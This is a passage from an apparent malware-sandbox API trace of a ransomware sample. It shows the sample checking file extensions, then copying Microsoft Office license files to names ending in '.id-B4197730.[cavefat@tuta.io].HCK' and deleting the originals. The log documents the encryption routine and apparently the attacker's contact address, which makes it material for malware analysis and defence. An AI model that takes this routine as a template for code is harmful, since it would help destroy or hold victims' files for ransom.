returned -1 [0242.571] lstrlenW (lpString=".pdf") returned 4 [0242.571] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.571] lstrlenW (lpString=".xls") returned 4 [0242.571] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.571] lstrlenW (lpString=".xlsx") returned 5 [0242.571] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.571] lstrlenW (lpString=".ppt") returned 4 [0242.571] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0242.571] lstrlenW (lpString=".zip") returned 4 [0242.571] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.571] lstrlenW (lpString=".rar") returned 4 [0242.571] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.571] lstrlenW (lpString=".bz2") returned 4 [0242.571] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.571] lstrlenW (lpString=".7z") returned 3 [0242.571] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0242.571] lstrlenW (lpString=".dbf") returned 4 [0242.571] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0242.571] lstrlenW (lpString=".1cd") returned 4 [0242.571] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0242.572] lstrlenW (lpString=".jpg") returned 4 [0242.572] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0242.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0242.572] lstrlenW (lpString=".doc") returned 4 [0242.572] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.572] lstrlenW (lpString=".docx") returned 5 [0242.572] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.572] lstrlenW (lpString=".pdf") returned 4 [0242.572] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.572] lstrlenW (lpString=".xls") returned 4 [0242.572] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.572] lstrlenW (lpString=".xlsx") returned 5 [0242.572] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.572] lstrlenW (lpString=".ppt") returned 4 [0242.572] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0242.572] lstrlenW (lpString=".zip") returned 4 [0242.572] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.572] lstrlenW (lpString=".rar") returned 4 [0242.572] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.572] lstrlenW (lpString=".bz2") returned 4 [0242.572] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.572] lstrlenW (lpString=".7z") returned 3 [0242.572] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0242.572] lstrlenW (lpString=".dbf") returned 4 [0242.572] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0242.572] lstrlenW (lpString=".1cd") returned 4 [0242.572] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0242.572] lstrlenW (lpString=".jpg") returned 4 [0242.572] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.572] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.572] lstrlenW (lpString="MondoVL_KMS_Client-ul.xrm-ms") returned 28 [0242.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.573] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=9601) returned 1 [0242.573] CloseHandle (hObject=0x558) returned 1 [0242.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 0x220 [0242.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.574] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.574] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.574] GetLastError () returned 0x0 [0242.575] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2581, lpOverlapped=0x0) returned 1 [0242.576] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2590, lpOverlapped=0x0) returned 1 [0242.577] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.577] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10c, lpOverlapped=0x0) returned 1 [0242.577] SetEndOfFile (hFile=0x340) returned 1 [0242.577] CloseHandle (hObject=0x340) returned 1 [0242.577] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.577] SetEndOfFile (hFile=0x558) returned 1 [0242.579] CloseHandle (hObject=0x558) returned 1 [0242.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 1 [0242.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0242.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0242.580] lstrlenW (lpString=".doc") returned 4 [0242.580] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.580] lstrlenW (lpString=".docx") returned 5 [0242.580] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.580] lstrlenW (lpString=".pdf") returned 4 [0242.580] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.580] lstrlenW (lpString=".xls") returned 4 [0242.580] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.580] lstrlenW (lpString=".xlsx") returned 5 [0242.581] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.581] lstrlenW (lpString=".ppt") returned 4 [0242.581] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0242.581] lstrlenW (lpString=".zip") returned 4 [0242.581] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString=".rar") returned 4 [0242.581] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString=".bz2") returned 4 [0242.581] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString=".7z") returned 3 [0242.581] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0242.581] lstrlenW (lpString=".dbf") returned 4 [0242.581] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0242.581] lstrlenW (lpString=".1cd") returned 4 [0242.581] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0242.581] lstrlenW (lpString=".jpg") returned 4 [0242.581] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0242.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0242.581] lstrlenW (lpString=".doc") returned 4 [0242.581] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString=".docx") returned 5 [0242.581] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.581] lstrlenW (lpString=".pdf") returned 4 [0242.581] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString=".xls") returned 4 [0242.581] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString=".xlsx") returned 5 [0242.581] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.581] lstrlenW (lpString=".ppt") returned 4 [0242.581] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0242.581] lstrlenW (lpString=".zip") returned 4 [0242.581] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString=".rar") returned 4 [0242.581] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString=".bz2") returned 4 [0242.581] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString=".7z") returned 3 [0242.581] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0242.581] lstrlenW (lpString=".dbf") returned 4 [0242.581] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0242.581] lstrlenW (lpString=".1cd") returned 4 [0242.581] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0242.582] lstrlenW (lpString=".jpg") returned 4 [0242.582] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.582] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.582] lstrlenW (lpString="MondoVL_MAK-pl.xrm-ms") returned 21 [0242.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.582] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=10619) returned 1 [0242.583] CloseHandle (hObject=0x558) returned 1 [0242.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 0x220 [0242.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.583] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.583] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.584] GetLastError () returned 0x0 [0242.584] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x297b, lpOverlapped=0x0) returned 1 [0242.717] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2980, lpOverlapped=0x0) returned 1 [0242.718] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.718] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xfe, lpOverlapped=0x0) returned 1 [0242.718] SetEndOfFile (hFile=0x340) returned 1 [0242.718] CloseHandle (hObject=0x340) returned 1 [0242.718] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.718] SetEndOfFile (hFile=0x558) returned 1 [0242.720] CloseHandle (hObject=0x558) returned 1 [0242.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 1 [0243.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0243.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0243.156] lstrlenW (lpString=".doc") returned 4 [0243.156] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.156] lstrlenW (lpString=".docx") returned 5 [0243.156] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.156] lstrlenW (lpString=".pdf") returned 4 [0243.156] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.156] lstrlenW (lpString=".xls") returned 4 [0243.156] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.156] lstrlenW (lpString=".xlsx") returned 5 [0243.156] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.156] lstrlenW (lpString=".ppt") returned 4 [0243.156] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0243.156] lstrlenW (lpString=".zip") returned 4 [0243.156] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.156] lstrlenW (lpString=".rar") returned 4 [0243.156] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.156] lstrlenW (lpString=".bz2") returned 4 [0243.156] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.156] lstrlenW (lpString=".7z") returned 3 [0243.156] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0243.156] lstrlenW (lpString=".dbf") returned 4 [0243.156] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0243.156] lstrlenW (lpString=".1cd") returned 4 [0243.156] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0243.156] lstrlenW (lpString=".jpg") returned 4 [0243.156] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0243.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0243.156] lstrlenW (lpString=".doc") returned 4 [0243.156] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.156] lstrlenW (lpString=".docx") returned 5 [0243.156] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.156] lstrlenW (lpString=".pdf") returned 4 [0243.156] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.156] lstrlenW (lpString=".xls") returned 4 [0243.156] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.157] lstrlenW (lpString=".xlsx") returned 5 [0243.157] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.157] lstrlenW (lpString=".ppt") returned 4 [0243.157] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0243.157] lstrlenW (lpString=".zip") returned 4 [0243.157] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.157] lstrlenW (lpString=".rar") returned 4 [0243.157] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.157] lstrlenW (lpString=".bz2") returned 4 [0243.157] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.157] lstrlenW (lpString=".7z") returned 3 [0243.157] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0243.157] lstrlenW (lpString=".dbf") returned 4 [0243.157] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0243.157] lstrlenW (lpString=".1cd") returned 4 [0243.157] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0243.157] lstrlenW (lpString=".jpg") returned 4 [0243.157] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.157] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.157] lstrlenW (lpString="MondoVL_MAK-ul-oob.xrm-ms") returned 25 [0243.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.410] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11576) returned 1 [0243.410] CloseHandle (hObject=0x560) returned 1 [0243.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 0x220 [0243.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0243.411] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.411] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0243.413] GetLastError () returned 0x0 [0243.413] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d38, lpOverlapped=0x0) returned 1 [0243.414] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d40, lpOverlapped=0x0) returned 1 [0243.415] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.415] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x106, lpOverlapped=0x0) returned 1 [0243.415] SetEndOfFile (hFile=0x454) returned 1 [0243.415] CloseHandle (hObject=0x454) returned 1 [0243.415] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.415] SetEndOfFile (hFile=0x560) returned 1 [0243.417] CloseHandle (hObject=0x560) returned 1 [0243.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 1 [0243.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0243.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0243.419] lstrlenW 